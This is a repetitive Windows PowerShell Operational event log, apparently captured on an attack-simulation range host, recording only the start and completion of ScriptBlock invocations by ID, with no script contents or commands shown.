SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050783
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050782
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050781
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050780
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050779
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050777
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050776
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050775
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050774
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050773
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050772
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050771
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050770
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050769
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050768
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050767
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050766
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050765
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050764
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050763
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050762
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050761
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050760
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050759
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050758
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050757
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050756
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050755
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050754
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050753
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050752
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050751
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050750
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050749
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050748
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050747
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050746
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050745
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050744
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050743
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050742
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050741
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050740
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050739
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050738
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050737
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050736
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050735
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050734
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050733
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050732
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050731
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
